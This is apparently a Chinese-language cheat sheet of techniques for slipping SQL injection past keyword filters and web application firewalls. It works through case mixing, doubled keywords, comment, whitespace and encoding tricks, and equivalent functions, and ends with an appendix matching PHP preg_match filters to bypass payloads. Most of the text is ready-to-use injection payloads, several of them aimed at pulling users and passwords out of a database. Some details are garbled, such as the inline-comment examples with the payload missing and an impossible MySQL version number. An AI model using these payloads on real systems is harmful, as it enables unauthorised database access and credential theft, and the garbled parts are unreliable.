0x0001
首先針對 preg_replace 很多狗都是通過替換關鍵詞來進行過濾:
preg_replace(‘A’ , ‘B’ , C) :執行一個正規表達式的搜尋和替換,這個的意思是搜尋C中符合A的部分,然後用B來代替。
1.大小寫繞過
有些替換的過程中沒有考慮到資料庫執行過程大小寫轉換的問題,隻處理了小寫或大寫的關鍵字,例如:select和SELECT會被過濾,但seLeCt并不會被防禦機制檢測到。于是我們可以使用
http://ip/index.php?login_id=-15 uNIoN sELecT 1,2,3,4…
,去執行union查詢。
大小寫繞過用于隻針對小寫或大寫的關鍵字比對技術,正規表達式/express/i 大小寫不敏感即無法繞過,這是最簡單的繞過技術
2.雙寫繞過
有些會把關鍵字替換成空,比如會把“select、and”等關鍵字替換為空,這時候我們可以這麼輸入
http://ip/index.php?login_id=-15 UNIunionON SELselectECT 1,2,3,4….
隻過濾一次,結果會被替換成:
http://ip/index.php?login_id=-15 UNION SELECT 1,2,3,4….
這樣就可以達到繞過防禦去執行SQL語句了。并且,有些開發不知道怎麼想的,明明可以循環過濾,卻隻過濾幾次,我們可以多構造幾個關鍵字,防止全部替換為空。
3.針對空格的繞過
①.内部注釋:
這個方法在于利用SQL語句的注釋符來繞過,這種繞過方式隻适用于如下防禦機制:輸入“unionselect”不會被檢測到攻擊;輸入“union select”會被檢測到,檢測機制會以空格為界定符,把“union”和“select”分開成兩個字元串去檢測是不是攻擊的特征碼。我們可以構造如下payload去繞過檢測:
http://ip/index.php?login_id=-15/**/un/**/ion/**/sel/**/ect 1,2,3,4…
②兩個空格代替一個空格,用Tab代替空格
%20 %09 %0a %0b %0c %0d %a0 /**/
③括号繞過空格
在MySQL中,括号是用來包圍子查詢的。是以,任何可以計算出結果的語句,都可以用括号包圍起來
select(user())from dual where 1=1 and 2=2;
4.内聯注釋繞過
在MySql資料庫版本大于等于5.55.55時,使用内聯注釋(/!**/)可以使下面公式成立:
/!select/=select
是以我們
http://ip/index.php?login_id=-15 1,2,3,4…
等價于
http://ip/index.php?login_id=-15 UNION SELECT 1,2,3,4…
,SQL語句一樣會被執行。還是得提醒一下,這個方法在MySql資料庫中并且版本符合要求才有效。
5.編碼繞過
對字母進行編碼(URL編碼、base64、16進制(hex轉碼))
此繞過方式可以使用各種編碼方式對payload進行編碼,然後進行嘗試。例如:
http://ip/index.php?login_id=-15 1,2,3,4….
隻對部分字母進行編碼,便可以繞過檢測機制。還有很多别的編碼形式,比如雙重url編碼、16進制編碼等,都可以去嘗試繞過防護
or 1=1即%6f%72%20%31%3d%31,而Test也可以為CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
十六進制編碼
SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))
雙重編碼繞過
?id=1%252f%252a/UNION%252f%252a /SELECT%252f%252a/1,2,password%252f%252a*/FROM%252f%252a*/Users–+
一些unicode編碼舉例:
單引号:’
%u0027 %u02b9 %u02bc
%u02c8 %u2032
%uff07 %c0%27
%c0%a7 %e0%80%a7
空白:
%u0020 %uff00
%c0%20 %c0%a0 %e0%80%a0
左括号(:
%u0028 %uff08
%c0%28 %c0%a8
%e0%80%a8
右括号):
%u0029 %uff09
%c0%29 %c0%a9
%e0%80%a9**
6.等價函數與指令繞過
hex()、bin() ==> ascii()
sleep() >benchmark()
concat_ws()>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
**舉例:substring()和substr()無法使用時:?
id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
或者:
substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1**
用like 繞過對“=”,“>”等的過濾
?id=1' or 1 like 1
in繞過
or '1' IN ('swords')
and和or有可能不能使用,或者可以試下&&和||能不能用;還有=不能使用的情況,可以考慮嘗試<、>,因為如果不小于又不大于,那邊是等于了
>,<繞過
or 'password' > 'pass'
or 1<3
在使用盲注的時候,會用到二分法來比較操作符來進行操作。如果過濾了比較操作符,那麼就需要使用到 greatest()和lease()來進行繞過。greatest()傳回最大值,least()傳回最小值。
greatest(n1,n2,n3…)傳回輸入參數的最大值;
least(n1,n2,n3…)傳回輸入參數的最小值
————————————————————————————————————————————
附錄 PHP中一些常見的過濾方法及繞過方式
過濾關鍵字 and or
php代碼 preg_match('/(and|or)/i',$id)
會過濾的攻擊代碼 1 or 1=1 1 and 1=1
繞過方式 1 || 1=1 1 && 1=1
過濾關鍵字 and or union
php代碼 preg_match('/(and|or|union)/i',$id)
會過濾的攻擊代碼 union select user,password from users
繞過方式 1 && (select user from users where userid=1)='admin'
過濾關鍵字 and or union where
php代碼 preg_match('/(and|or|union|where)/i',$id)
會過濾的攻擊代碼 1 && (select user from users where user_id = 1) = 'admin'
繞過方式 1 && (select user from users limit 1) = 'admin'
過濾關鍵字 and or union where
php代碼 preg_match('/(and|or|union|where)/i',$id)
會過濾的攻擊代碼 1 && (select user from users where user_id = 1) = 'admin'
繞過方式 1 && (select user from users limit 1) = 'admin'
過濾關鍵字 and, or, union, where, limit
php代碼 preg_match('/(and|or|union|where|limit)/i', $id)
會過濾的攻擊代碼 1 && (select user from users limit 1) = 'admin'
繞過方式 1 && (select user from users group by user_id having user_id = 1) = 'admin'#user_id聚合中user_id為1的user為admin
過濾關鍵字 and, or, union, where, limit, group by
php代碼 preg_match('/(and|or|union|where|limit|group by)/i', $id)
會過濾的攻擊代碼 1 && (select user from users group by user_id having user_id = 1) = 'admin'
繞過方式 1 && (select substr(group_concat(user_id),1,1) user from users ) = 1
過濾關鍵字 and, or, union, where, limit, group by, select
php代碼 preg_match('/(and|or|union|where|limit|group by|select)/i', $id)
會過濾的攻擊代碼 1 && (select substr(gruop_concat(user_id),1,1) user from users) = 1
繞過方式 1 && substr(user,1,1) = 'a'
過濾關鍵字 and, or, union, where, limit, group by, select, '
php代碼 preg_match('/(and|or|union|where|limit|group by|select|\')/i', $id)
會過濾的攻擊代碼 1 && (select substr(gruop_concat(user_id),1,1) user from users) = 1
繞過方式 1 && user_id is not null 1 && substr(user,1,1) = 0x61 1 && substr(user,1,1) = unhex(61)
過濾關鍵字 and, or, union, where, limit, group by, select, ', hex
php代碼 preg_match('/(and|or|union|where|limit|group by|select|\'|hex)/i', $id)
會過濾的攻擊代碼 1 && substr(user,1,1) = unhex(61)
繞過方式 1 && substr(user,1,1) = lower(conv(11,10,16)) #十進制的11轉化為十六進制,并小寫。
過濾關鍵字 and, or, union, where, limit, group by, select, ', hex, substr
php代碼 preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr)/i', $id)
會過濾的攻擊代碼 1 && substr(user,1,1) = lower(conv(11,10,16))/td>
繞過方式 1 && lpad(user,7,1)
過濾關鍵字 and, or, union, where, limit, group by, select, ', hex, substr, 空格
php代碼 preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr|\s)/i', $id)
會過濾的攻擊代碼 1 && lpad(user,7,1)/td>
繞過方式 1%0b||%0blpad(user,7,1)
過濾關鍵字 and or union where
php代碼 preg_match('/(and|or|union|where)/i',$id)
會過濾的攻擊代碼 1 || (select user from users where user_id = 1) = 'admin'
繞過方式 1 || (select user from users limit 1) = 'admin'